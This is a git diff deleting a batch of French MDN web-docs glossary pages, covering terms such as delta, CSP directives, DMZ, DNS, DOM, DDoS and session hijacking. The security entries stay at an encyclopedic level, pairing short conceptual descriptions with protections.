- - diff --git a/files/fr/glossaire/delta/index.html b/files/fr/glossaire/delta/index.html deleted file mode 100644 index 1493beb1b2..0000000000 --- a/files/fr/glossaire/delta/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Delta -slug: Glossaire/Delta -tags: - - Delta - - Glossaire - - Valeur - - difference -translation_of: Glossary/Delta ---- -

Le terme delta fait référence à la différence entre deux valeurs ou états. Le nom provient de la lettre grecque Δ (delta), qui équivaut à la lettre D dans l'alphabet romain. Delta se réfère simplement à l'utilisation de la lettre Δ comme raccourci pour la différence.

- -

Le terme delta est couramment utilisé pour communiquer les changements de vitesse, de position ou d'accélération d'un objet physique ou virtuel. Il est également utilisé pour décrire les changements de volume ou de fréquence des ondes sonores.

- -

Par exemple, pour décrire la distance parcourue par un objet à l'écran de gauche à droite, on peut utiliser le terme delta x ou Δx.

- -

De même, étant donné la nouvelle valeur de X et son ancienne valeur, vous pouvez calculer le delta comme ceci:

- -
let deltaX = newX - oldX;
- -

Plus généralement, vous recevez le delta et l'utilisez pour mettre à jour une condition précédente enregistrée:

- -
let newX = oldX + deltaX;
- -

Apprendre plus

- -

Référence technique

- -
    -
  • Les événements de la molette de la souris ({{domxref("WheelEvent")}} offrent la quantité de déplacement de la roue depuis le dernier événement dans son {{domxref("WheelEvent.deltaX", "deltaX")}}, {{domxref("WheelEvent.deltaY", "deltaY")}}, et {{domxref("WheelEvent.deltaZ", "deltaZ")}}, par exemple.
    • -
diff --git a/files/fr/glossaire/descripteur_(css)/index.html b/files/fr/glossaire/descripteur_(css)/index.html deleted file mode 100644 index eea65e6d7e..0000000000 --- a/files/fr/glossaire/descripteur_(css)/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Descripteur (CSS) -slug: Glossaire/Descripteur_(CSS) -tags: - - CSS - - Encodage - - Glossaire -translation_of: Glossary/Descriptor_(CSS) ---- -
-
-
-
-

Un descripteur CSS définit les caractéristiques des {{cssxref("at-rule","règles @")}}. Celles-ci autorisent les valeurs sous la forme de descripteurs. Chaque règle est composée d'un sélecteur et d'un descripteur. Le descripteur a :

- -
    -
  • un nom
    • -
  • une valeur, qui contient les valeurs des composants
    • -
  • un étiquette "! important" qui, dans son état naturel, n'est pas définie
    • -
-
-
-
-
diff --git a/files/fr/glossaire/developer_tools/index.html b/files/fr/glossaire/developer_tools/index.html deleted file mode 100644 index de78c17a7e..0000000000 --- a/files/fr/glossaire/developer_tools/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Outils de développement -slug: Glossaire/Developer_Tools -tags: - - Encodage - - Glossaire - - débogage - - outils de développement -translation_of: Glossary/Developer_Tools ---- -

Les outils de développement sont des programmes qui permettent à un développeur de créer, tester et {{Glossary("debug","déboguer")}} un logiciel.

- -

Les navigateurs courants fournissent des outils de développement intégrés, qui permettent d'inspecter un site web. Ils permettent aux utilisateurs d'inspecter et de déboguer les pages {{Glossary("HTML")}}, {{Glossary("CSS")}} et {{Glossary("JavaScript")}}, de mesurer le trafic réseau qu'ils provoquent et les performances, et bien plus encore.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia","Environnement_de_développement","Environnement de développement")}} sur Wikipedia
    • -
- -

Références techniques

- - diff --git a/files/fr/glossaire/dic/index.html b/files/fr/glossaire/dic/index.html deleted file mode 100644 index 7ea48838dd..0000000000 --- a/files/fr/glossaire/dic/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: DIC -slug: Glossaire/DIC -tags: - - Glossaire - - Sécurité -translation_of: Glossary/CIA ---- -

DIC (Disponibilité, Intégrité, Confidentialité) (également appelé triade DIC ou triade CID) est un modèle qui guide les stratégies d'une organisation dans le domaine de la sécurité de l'information.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Sécurité_de_l'information#Critères_de_sensibilité", "DIC")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/directive_de_navigation/index.html b/files/fr/glossaire/directive_de_navigation/index.html deleted file mode 100644 index 132871db0b..0000000000 --- a/files/fr/glossaire/directive_de_navigation/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Directive de navigation -slug: Glossaire/Directive_de_navigation -tags: - - CSP - - Glossaire - - Sécurité -translation_of: Glossary/Navigation_directive ---- -

Les directives de navigation {{Glossary("CSP")}} sont utilisées dans un en-tête de {{HTTPHeader("Content-Security-Policy","politique de sécurité de contenu")}} et régissent l'emplacement sur lequel un utilisateur peut naviguer ou envoyer un formulaire, par exemple.

- -

Les directives de navigation ne reviennent pas à la directive {{CSP("default-src")}}.

- -

Ces directives CSP sont :

- -
    -
  • {{CSP("form-action")}}
    • -
  • {{CSP("frame-ancestors")}}
    • -
  • {{CSP("navigation-to")}}
    • -
- -
-

En apprendre plus

- -
    -
  • {{HTTPHeader("Content-Security-Policy","politique de sécurité de contenu")}}
    • -
  • Autres types de directives: -
      -
    • {{Glossary("Fetch directive" ,"Directive de récupération")}}
      • -
    • {{Glossary("Document directive","Directive de document")}}
      • -
    • {{Glossary("Reporting directive" ,"Directive de rapport")}}
      • -
    -
    • -
-
diff --git a/files/fr/glossaire/directive_de_rapport/index.html b/files/fr/glossaire/directive_de_rapport/index.html deleted file mode 100644 index 2e902e422a..0000000000 --- a/files/fr/glossaire/directive_de_rapport/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Directive de rapport -slug: Glossaire/Directive_de_rapport -tags: - - CSP - - Glossaire - - Sécurité -translation_of: Glossary/Reporting_directive ---- -

Les directives de rapports {{Glossary("CSP")}} sont utilisées dans un en-tête {{HTTPHeader("Content-Security-Policy","Politique de sécurité de contenu")}} et contrôlent le processus de génération de rapports sur les violations CSP.

- -

Ces directives CSP sont :

- -
    -
  • {{CSP("report-uri")}}
    • -
  • {{CSP("report-to")}}
    • -
- -
-

En apprendre plus

- -
    -
  • {{HTTPHeader("Content-Security-Policy","Politique de sécurité de contenu")}}
    • -
  • Autres types de directives: -
      -
    • {{Glossary("Fetch directive","Directive de récupération")}}
      • -
    • {{Glossary("Document directive","Directive de document")}}
      • -
    • {{Glossary("Navigation directive","Directive de navigation")}}
      • -
    -
    • -
-
diff --git "a/files/fr/glossaire/directive_de_r\303\251cup\303\251ration/index.html" "b/files/fr/glossaire/directive_de_r\303\251cup\303\251ration/index.html" deleted file mode 100644 index e48fdd3273..0000000000 --- "a/files/fr/glossaire/directive_de_r\303\251cup\303\251ration/index.html" +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Directive de récupération -slug: Glossaire/Directive_de_récupération -tags: - - CSP - - Glossaire - - Sécurité -translation_of: Glossary/Fetch_directive ---- -

Les directives de récupération {{Glossary("CSP")}} sont utilisées dans un en-tête de {{HTTPHeader("Content-Security-Policy","politique de sécurité de contenu")}} et contrôlent les emplacements à partir desquels certaines ressources peuvent être chargées. Par exemple, {{CSP("script-src")}} permet aux développeurs d'autoriser l'exécution de sources de script sur une page, tandis que {{CSP("font-src")}} contrôle les sources des polices de caractères web.

- -

Toutes les directives de récupération reviennent à {{CSP("default-src")}}. Cela signifie que si une instruction fetch est absente dans l'en-tête CSP, l'agent utilisateur recherchera la directive default-src.

- -

Ces directives CSP sont :

- -
    -
  • {{CSP("child-src")}}
    • -
  • {{CSP("connect-src")}}
    • -
  • {{CSP("default-src")}}
    • -
  • {{CSP("font-src")}}
    • -
  • {{CSP("frame-src")}}
    • -
  • {{CSP("img-src")}}
    • -
  • {{CSP("manifest-src")}}
    • -
  • {{CSP("media-src")}}
    • -
  • {{CSP("object-src")}}
    • -
  • {{CSP("script-src")}}
    • -
  • {{CSP("style-src")}}
    • -
  • {{CSP("worker-src")}}
    • -
- -
-

En apprendre plus

- -
    -
  • {{HTTPHeader("Content-Security-Policy","Politique de sécurité de contenu")}}
    • -
  • Autres types de directives: -
      -
    • {{Glossary("Document directive","Directives de document")}}
      • -
    • {{Glossary("Navigation directive","Directives de navigation")}}
      • -
    • {{Glossary("Reporting directive","Directives de rapport")}}
      • -
    -
    • -
-
diff --git a/files/fr/glossaire/dmz/index.html b/files/fr/glossaire/dmz/index.html deleted file mode 100644 index 8861a2ba61..0000000000 --- a/files/fr/glossaire/dmz/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: DMZ -slug: Glossaire/DMZ -tags: - - Glossaire - - Réseau - - Sécurité -translation_of: Glossary/DMZ ---- -

Une DMZ est un moyen de fournir une interface isolée et sécurisée entre un réseau interne (d'entreprise ou privé) et le monde extérieur non fiable, généralement l'Internet. Elle expose uniquement certains points de terminaison définis, tout en refusant l'accès au réseau interne aux {{Glossary('node/networking','noeuds externes')}}.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia","Zone_démilitarisée_(informatique)","Zone démilitarisée (informatique)")}} sur Wikipedia
    • -
- -

Apprendre à ce propos

- - diff --git a/files/fr/glossaire/dns/index.html b/files/fr/glossaire/dns/index.html deleted file mode 100644 index 99897c1af2..0000000000 --- a/files/fr/glossaire/dns/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: DNS -slug: Glossaire/DNS -tags: - - DNS - - Glossaire - - Infrastructure - - Nom de domaine -translation_of: Glossary/DNS ---- -

DNS (domain name system) transforme les noms de domaines en adresses IP nécessaires à la mise en relation avec un service sur Internet ou un réseau privé.

- -

Pour en savoir plus

- -

Connaissances générales

- - diff --git a/files/fr/glossaire/doctype/index.html b/files/fr/glossaire/doctype/index.html deleted file mode 100644 index 738e1e1748..0000000000 --- a/files/fr/glossaire/doctype/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Doctype -slug: Glossaire/Doctype -tags: - - DOCTYPE - - Encodage - - Glossaire - - HTML - - Introduction - - Navigateur -translation_of: Glossary/Doctype ---- -

En {{Glossary("HTML")}}, le doctype est le préambule "<! DOCTYPE html>" requis en haut de tous les documents. Son seul but est d'empêcher un {{Glossary("Browser","navigateur")}} de passer en soi-disant “quirks mode” lors du rendu d'un document ;  c'est-à-dire que le doctype "<!DOCTYPE html>" garantit que le navigateur fait de son mieux pour suivre les spécifications pertinentes, plutôt que d'utiliser un mode de rendu différent incompatible avec certaines spécifications.

- -

En apprendre plus

- -

Culture générale

- - - -

Référence technique

- -

Document.doctype, une méthode JavaScript qui retourne le doctype

diff --git a/files/fr/glossaire/document_directive/index.html b/files/fr/glossaire/document_directive/index.html deleted file mode 100644 index d1950f7901..0000000000 --- a/files/fr/glossaire/document_directive/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Directive de document -slug: Glossaire/Document_directive -tags: - - CSP - - Glossaire - - Sécurité -translation_of: Glossary/Document_directive ---- -

Les directives de document {{Glossary("CSP")}} sont utilisées dans un en-tête de {{HTTPHeader("Content-Security-Policy","politique de sécurité de contenu")}} et régissent les propriétés d'un document ou l'environnement des  "worker"  auxquels la politique s'applique.

- -

Les directives du document ne reviennent pas à la directive {{CSP("default-src")}}.

- -

Ces directives CSP sont des directives de document :

- -
    -
  • {{CSP("base-uri")}}
    • -
  • {{CSP("plugin-types")}}
    • -
  • {{CSP("sandbox")}}
    • -
  • {{CSP("disown-opener")}}
    • -
- -

En apprendre en plus

- -

Informations Techniques

- -
    -
  • {{HTTPHeader("Politique de sécurité de contenu")}}
    • -
  • Autres types de directives : -
      -
    • {{Glossary("Fetch directive","Directive de récupération")}}
      • -
    • {{Glossary("Navigation directive","Directive de navigation")}}
      • -
    • {{Glossary("Reporting directive","Directive de rapport")}}
      • -
    -
    • -
diff --git a/files/fr/glossaire/dom/index.html b/files/fr/glossaire/dom/index.html deleted file mode 100644 index d0438a2de1..0000000000 --- a/files/fr/glossaire/dom/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: DOM -slug: Glossaire/DOM -tags: - - DOM - - Encodage - - Glossaire -translation_of: Glossary/DOM ---- -

Le DOM (Document Object Model) est une {{glossary("API")}} qui réprésente et interagit avec tous types de documents {{glossary("HTML")}} ou {{glossary("XML")}}. Le DOM est un modèle de document chargé dans le {{glossary("Browser","navigateur")}}. La représentation du document est un arbre nodal. Chaque nœud représente une partie du document (par exemple, un {{Glossary("Element","élément")}}, une chaîne de caractères ou un commentaire).

- -

Le DOM est l'une des {{Glossary("API")}} les plus utilisées sur le {{glossary("World Wide Web","Web")}} parce-qu'il autorise du code exécuté dans un navigateur à accéder et interagir avec chaque nœud dans le document. Les nœuds peuvent être créés, déplacés et modifiés. Des auditeurs d'évènements (event listeners) peuvent être ajoutés à des nœuds et déclenchés par un évènement donné.

- -

À l'origine, DOM n'était pas standardisé. Il ne l'a été que lorsque les navigateurs ont commencé à implémenter {{Glossary("JavaScript")}}. Le DOM qui découle de cette période initiale est parfois appelé DOM 0. À l'heure actuelle, le W3C édicte les spécifications de la norme DOM

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Document_Object_Model", "Le DOM")}} sur Wikipédia
    • -
- -

Informations Techniques

- - diff --git a/files/fr/glossaire/domaine/index.html b/files/fr/glossaire/domaine/index.html deleted file mode 100644 index c629c4de95..0000000000 --- a/files/fr/glossaire/domaine/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Domaine -slug: Glossaire/Domaine -tags: - - Domaine - - Infrastructure - - Navigateur - - Réseau -translation_of: Glossary/Domain ---- -

Un domaine fait partie d'un réseau informatique au sein duquel une entité contrôle les ressources de traitement de l'information, par exemple un site web.

- -

Pour approfondir

- -
    -
  • {{interwiki("wikipedia","Domaine")}} sur Wikipédia
    • -
diff --git "a/files/fr/glossaire/domaine_deuxi\303\250me-niveau/index.html" "b/files/fr/glossaire/domaine_deuxi\303\250me-niveau/index.html" deleted file mode 100644 index 0fcd2fe833..0000000000 --- "a/files/fr/glossaire/domaine_deuxi\303\250me-niveau/index.html" +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Domaine de deuxième niveau -slug: Glossaire/Domaine_deuxième-niveau -tags: - - Glossaire - - Infrastructure -translation_of: Glossary/Second-level_Domain ---- -

{{page("/fr/docs/Glossaire/SLD")}}

diff --git a/files/fr/glossaire/dominant/index.html b/files/fr/glossaire/dominant/index.html deleted file mode 100644 index 77ce7eab6f..0000000000 --- a/files/fr/glossaire/dominant/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Dominant -slug: Glossaire/Dominant -tags: - - Encodage - - Glossaire -translation_of: Glossary/Dominator ---- -

En théorie des graphes, le nœud A domine le nœud B si tous les chemins du nœud racine vers B passent par A.

- -

Ce concept est important pour le "{{Glossary("garbage collection","ramasse-miettes")}}" (ou récupérateur de mémoire) car cela signifie que B n'est accessible que par A. Ainsi, si le ramasse-miettes trouve A inaccessible et éligible à la récupération, alors B sera également inaccessible et éligible à la récupération. Donc, les objets que A domine contribuent à la taille retenue de A : c'est-à-dire la quantité totale de mémoire qui pourrait être libérée si A lui-même était libéré.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia","Ensemble_dominant","Ensemble dominant")}} sur Wikipedia
    • -
- -

Références techniques

- - diff --git a/files/fr/glossaire/dtd/index.html b/files/fr/glossaire/dtd/index.html deleted file mode 100644 index 803f8cc228..0000000000 --- a/files/fr/glossaire/dtd/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: DTD -slug: Glossaire/DTD -tags: - - Encodage - - Glossaire -translation_of: Glossary/Doctype -translation_of_original: Glossary/DTD ---- -

{{page("/fr/docs/Glossaire/Doctype")}}

diff --git a/files/fr/glossaire/dtmf/index.html b/files/fr/glossaire/dtmf/index.html deleted file mode 100644 index 85dc058491..0000000000 --- a/files/fr/glossaire/dtmf/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: DTMF (Signalisation Dual-Tone Multi-Frequency) -slug: Glossaire/DTMF -tags: - - Audio - - DTMF - - Glossaire -translation_of: Glossary/DTMF ---- -

La signalisation DTMF (Dual-Tone Multi-Frequency) est un système par lequel des tonalités audibles sont utilisées pour représenter les boutons sur un clavier. Souvent appelé aux Etats-Unis "Touch-Tone" (après la marque Touch-Tone utilisée lors du passage de la numérotation par impulsions au DTMF), DTMF permet de signaler les chiffres 0-9 ainsi que les lettres "A" à "D" et les symboles "#" et "*". Peu de claviers téléphoniques comprennent les lettres, qui sont généralement utilisées pour la signalisation de contrôle par le réseau téléphonique.

- -

Les ordinateurs peuvent utiliser DTMF lors de la numérotation d'un modem ou lors de l'envoi de commandes à un système de menu pour une téléconférence ou à d'autres fins.

- -

En apprendre plusEdit

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia","Code_DTMF","Code DTMF")}} sur Wikipedia
    • -
diff --git "a/files/fr/glossaire/d\303\251chiffrement/index.html" "b/files/fr/glossaire/d\303\251chiffrement/index.html" deleted file mode 100644 index 8a66a43dc3..0000000000 --- "a/files/fr/glossaire/d\303\251chiffrement/index.html" +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Déchiffrement -slug: Glossaire/Déchiffrement -tags: - - Confidentialité - - Cryptographie - - Glossaire - - Sécurité -translation_of: Glossary/Decryption ---- -

En {{glossary("Cryptography","cryptographie")}}, le déchiffrement est la conversion d'un {{glossary("ciphertext","cryptogramme")}} en {{glossary("cleartexte","texte brut")}}.

- -

Le déchiffrement est une primitive cryptographique : il transforme un cryptogramme en texte brut via l'utilisation d'un algorithme cryptographique appelé {{glossary("cipher","chiffre")}}. À l'instar du chiffrement, le déchiffrement est effectué par l'utilisation d'un algorithme spécifique et d'un code secret appelé {{glossary("key","clé")}}. Comme l'algorithme est souvent public, la clé doit rester secrète si le chiffrement reste sécurisé.

- -

 

- -

The decryption primitive.

- -

Le déchiffrement est l'inverse du {{glossary("encryption","chiffrement")}} et si la clé reste secrète, le déchiffrement sans connaître le code secret spécifique sera mathématiquement difficile à réaliser. Le degré de difficulté dépend de la sécurité de l'algorithme cryptographique choisi et évolue au fur et à mesure des progrès de la {{glossary("cryptanalysis","cryptanalyse")}}.

- -

Pour approfondir

- - diff --git "a/files/fr/glossaire/d\303\251fi_r\303\251ponse/index.html" "b/files/fr/glossaire/d\303\251fi_r\303\251ponse/index.html" deleted file mode 100644 index eb3ef9073f..0000000000 --- "a/files/fr/glossaire/d\303\251fi_r\303\251ponse/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Authentification par défi-réponse -slug: Glossaire/défi_réponse -tags: - - Glossaire - - Protocoles - - Sécurité -translation_of: Glossary/challenge ---- -

Dans les protocoles de sécurité, un défi (challenge), c'est quelques données envoyées au client par le serveur demandant des réponses différentes à chaque fois. Les protocoles défi-réponse sont une manière de combattre des attaques par rejeu dans lesquelles un attaquant écoute le message précédent et le renvoie une nouvelle fois pour obtenir la même information d'identification que le message original.

- -

Le protocole d'authentification HTTP est basé sur défi-réponse, bien que le protocole "basique" n'utilise pas un vrai défi (le domaine est toujours le même).

- -

En apprendre plus

- - diff --git "a/files/fr/glossaire/d\303\251ni_de_service/index.html" "b/files/fr/glossaire/d\303\251ni_de_service/index.html" deleted file mode 100644 index 5378ca0c6a..0000000000 --- "a/files/fr/glossaire/d\303\251ni_de_service/index.html" +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Déni de Service -slug: Glossaire/Déni_de_Service -tags: - - Attaque - - Déni de Service - - Glossaire - - Intro - - Sécurité -translation_of: Glossary/Denial_of_Service ---- -

{{page("/fr/docs/Glossaire/Attaque_DOS")}}

diff --git "a/files/fr/glossaire/d\303\251ni_de_service_distribu\303\251/index.html" "b/files/fr/glossaire/d\303\251ni_de_service_distribu\303\251/index.html" deleted file mode 100644 index 1434becf4c..0000000000 --- "a/files/fr/glossaire/d\303\251ni_de_service_distribu\303\251/index.html" +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Déni de service distribué -slug: Glossaire/Déni_de_service_distribué -tags: - - Attaques - - Déni de Service - - Glossaire - - Sécurité -translation_of: Glossary/Distributed_Denial_of_Service ---- -

Un déni de service distribué (DDoS, Distributed Denial-of-Service) est une attaque dans laquelle de nombreux systèmes sont compromis et réunis pour attaquer une seule cible, afin de submerger les ressources du serveur et de bloquer les utilisateurs légitimes.

- -

Habituellement, de nombreuses personnes utilisant de nombreux robots, attaquent le Web à haut niveau : {{glossary("Server","serveurs")}} de banques ou cartes de crédit de paiement. DDoS concerne les réseaux informatiques et la gestion des ressources de l'unité centrale.

- -

Dans une attaque DDoS classique, l'assaillant commence par exploiter une vulnérabilité dans un système informatique et en fait le maître DDoS. Le maître d'attaque, également connu sous le nom de botmaster (maître robot), identifie et infecte d'autres systèmes vulnérables avec des logiciels malveillants. Finalement, l'assaillant ordonne aux machines contrôlées de lancer une attaque contre une cible spécifiée.

- -

Il existe deux types d'attaques DDoS : une attaque centrée sur le réseau (qui surcharge un service en utilisant la bande passante) et une attaque de la couche application (qui surcharge un service ou une base de données avec des appels d'application). Le débordement de données vers la cible entraîne une saturation dans la machine cible, de sorte qu'elle ne peut pas répondre ou répond très lentement au trafic légitime (d'où le nom de "déni de service"). Les propriétaires des ordinateurs infectés ne savent généralement pas que leurs ordinateurs ont été compromis et subissent également une perte de service.

- -

Un ordinateur sous le contrôle d'un intrus est appelé un zombie ou un bot (robot). Un réseau d'ordinateurs co-infectés est connu comme un botnet (réseau de robots) ou une armée de zombies. Kaspersky Labs et Symantec ont identifié tous deux les botnets - pas le spam, les virus ou les vers - comme la plus grande menace à la sécurité sur Internet.

- -

L'équipe de préparation aux urgences informatiques des États-Unis (US-CERT) définit les symptômes des attaques par déni de service en y rattachant :

- -
    -
  • Performances réseau exceptionnellement lentes (ouverture de fichiers ou accès à des sites Web)
    • -
  • Indisponibilité d'un site web particulier
    • -
  • Impossibilité d'accéder à un site Web
    • -
  • Augmentation dramatique du nombre de spams reçus (ce type d'attaque DoS est considéré comme une bombe électronique)
    • -
  • Déconnexion d'une connexion Internet sans fil ou filaire
    • -
  • Refus à long terme de l'accès au web ou à des services internet.
    • -
- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Attaque_par_déni_de_service", "Attaque par déni de service")}} sur Wikipedia
    • -
- -

 

diff --git "a/files/fr/glossaire/d\303\251p\303\264t/index.html" "b/files/fr/glossaire/d\303\251p\303\264t/index.html" deleted file mode 100644 index 450bcb73f6..0000000000 --- "a/files/fr/glossaire/d\303\251p\303\264t/index.html" +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Repo -slug: Glossaire/Dépôt -tags: - - Dépôt - - Glossaire - - Infrastructure - - Intro -translation_of: Glossary/Repo ---- -
-

Dans les systèmes de gestion de versions comme {{Glossary("Git")}} ou {{Glossary("SVN")}} , un dépôt est l'endroit où sont hébergés le code source d'une application ainsi que diverses méta-données.

- -

Pour en savoir plus

- - -
diff --git "a/files/fr/glossaire/d\303\251s\303\251rialisation/index.html" "b/files/fr/glossaire/d\303\251s\303\251rialisation/index.html" deleted file mode 100644 index 5169d8bafe..0000000000 --- "a/files/fr/glossaire/d\303\251s\303\251rialisation/index.html" +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Désérialisation -slug: Glossaire/Désérialisation -tags: - - Désérialisation - - Glossaire - - JavaScript -translation_of: Glossary/Deserialization ---- -

Le processus par lequel un format de niveau inférieur (par exemple, qui a été transféré sur un réseau ou stocké dans un magasin de données) est traduit en un objet lisible ou une autre structure de données.

- -

En {{Glossary("JavaScript")}}, par exemple, vous pouvez désérialiser une  {{Glossary("string","chaîne de caractères")}} {{Glossary("JSON")}} vers un objet en appelant la {{Glossary("function","fonction")}} {{jsxref("JSON.parse()")}}.

- -

En apprendre plus

- -

Culture générale

- - diff --git "a/files/fr/glossaire/d\303\251tournement_de_session/index.html" "b/files/fr/glossaire/d\303\251tournement_de_session/index.html" deleted file mode 100644 index 6fd708c22b..0000000000 --- "a/files/fr/glossaire/d\303\251tournement_de_session/index.html" +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Détournement de session -slug: Glossaire/Détournement_de_session -tags: - - Attaques - - Glossaire - - Sécurité -translation_of: Glossary/Session_Hijacking ---- -

Le détournement de session se produit lorsqu'un attaquant prend le contrôle d'une session valide entre deux ordinateurs. L'attaquant vole un identifiant de session valide afin de pénétrer dans le système et de fouiller les données.

- -

Le plus souvent, l'authentification se produit seulement au début d'une session {{glossary("TCP")}}. Dans un détournement de session TCP, un attaquant obtient l'accès en prenant en charge une session TCP entre deux machines en milieu de session.

- -

- -

Le piratage de session se produit parce que

- -
    -
  • pas de verrouillage de compte pour les ID de session non valides
    • -
  • faible algorithme de génération d'ID de session
    • -
  • manipulation insécurisée
    • -
  • temps d'expiration de session indéfini
    • -
  • ID de session courte
    • -
  • transmission en texte clair
    • -
- -

Le processus de piratage de session

- -
    -
  1. Sniffez, c'est-à-dire effectuez une attaque d'homme-dans-le-milieu (MitM), placez-vous entre la victime et le serveur.
    2. -
  2. Surveillez les paquets circulant entre le serveur et l'utilisateur.
    3. -
  3. Brisez la connexion de la machine victime.
    4. -
  4. Prenez le contrôle de la session.
    5. -
  5. Injectez de nouveaux paquets au serveur en utilisant l'ID de session de la victime.
    6. -
- -

Protection contre le détournement de session

- -
    -
  • créer un canal de communication sécurisé avec SSH (shell sécurisé)
    • -
  • passer les cookies d'authentification sur une connexion HTTPS
    • -
  • implémenter la fonctionnalité de déconnexion afin que l'utilisateur puisse terminer la session
    • -
  • générer l'ID de session après la réussire de la connexion
    • -
  • transmettre des données chiffrées entre les utilisateurs et le serveur web
    • -
  • utiliser une chaîne ou un long nombre aléatoire comme clé de session
    • -
- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Hijacking")}} sur Wikipedia
    • -
diff --git a/files/fr/glossaire/ecma/index.html b/files/fr/glossaire/ecma/index.html deleted file mode 100644 index 67601b4a7d..0000000000 --- a/files/fr/glossaire/ecma/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: ECMA -slug: Glossaire/ECMA -tags: - - Glossaire - - JavaScript - - Mécanismes web -translation_of: Glossary/ECMA ---- -

Ecma International (European Computer Manufacturers Association) est une organisation à but non lucratif qui développe des standards sur le matériel informatique, les communications, et les langages de programmation.

- -

Sur internet, Ecma est célèbre pour être l'organisation qui maintient la spécification ECMA-262 (alias. {{Glossary("ECMAScript")}}) qui est le cœur de la spécification pour le langage {{Glossary("JavaScript")}}.

- -

En savoir plus

- - diff --git a/files/fr/glossaire/ecmascript/index.html b/files/fr/glossaire/ecmascript/index.html deleted file mode 100644 index 15b1b4b872..0000000000 --- a/files/fr/glossaire/ecmascript/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: ECMAScript -slug: Glossaire/ECMAScript -tags: - - Glossaire - - WebMechanics -translation_of: Glossary/ECMAScript ---- -

ECMAScript est le langage de script sur lequel {{glossary("JavaScript")}} est basé. Ecma International a pour tâche la standardisation d'ECMAScript.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "ECMAScript")}} sur Wikipédia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/element_vide/index.html b/files/fr/glossaire/element_vide/index.html deleted file mode 100644 index 1aa6427ae2..0000000000 --- a/files/fr/glossaire/element_vide/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Élément vide -slug: Glossaire/Element_vide -tags: - - Encodage - - Glossaire - - Intermédiaire -translation_of: Glossary/Empty_element ---- -

Un élément vide (empty element en anglais) est un {{Glossary("Element","élément")}} HTML, SVG, ou MathML qui ne peut pas avoir de nœud enfant (que ce soit un autre élément ou du texte).

- -

Les spécifications HTML, SVG et MathML (en anglais) définissent de manière précise quels éléments peuvent contenir quels autres. De nombreuses combinaisons n'ont aucun sens sémantique ; c'est le cas par exemple d'un élément {{HTMLElement("audio")}} imbriqué dans un élément {{HTMLElement("hr")}}.

- -

Les éléments vides en HTML sont les suivants :

- -
    -
  • {{HTMLElement("area")}}
    • -
  • {{HTMLElement("base")}}
    • -
  • {{HTMLElement("br")}}
    • -
  • {{HTMLElement("col")}}
    • -
  • {{HTMLElement("embed")}}
    • -
  • {{HTMLElement("hr")}}
    • -
  • {{HTMLElement("img")}}
    • -
  • {{HTMLElement("input")}}
    • -
  • {{HTMLElement("keygen")}} (HTML 5.2 brouillon supprimé)
    • -
  • {{HTMLElement("link")}}
    • -
  • {{HTMLElement("meta")}}
    • -
  • {{HTMLElement("param")}}
    • -
  • {{HTMLElement("source")}}
    • -
  • {{HTMLElement("track")}}
    • -
  • {{HTMLElement("wbr")}}
    • -
- -

 

diff --git "a/files/fr/glossaire/en-t\303\252te/index.html" "b/files/fr/glossaire/en-t\303\252te/index.html" deleted file mode 100644 index db2eeed78d..0000000000 --- "a/files/fr/glossaire/en-t\303\252te/index.html" +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: En-tête -slug: Glossaire/En-tête -tags: - - En-têtes - - Encodage - - Glossaire - - HTML - - métadonnée -translation_of: Glossary/Head ---- -

L'en-tête est la partie d'un document {{glossary("HTML")}} qui contient les {{glossary("métadonnée","métadonnées")}} qui le concernent, comme son auteur, sa description et des liens vers des fichiers {{glossary("CSS")}} ou {{glossary("JavaScript")}} qui s'appliquent au HTML.

- -

Pour approfondir

- -

En-tête HTML

- -
    -
  • Référence sur l'élément {{htmlelement("head")}} sur MDN
    • -
  • La balise HTML <head> dans la zone d'apprentissage du MDN
    • -
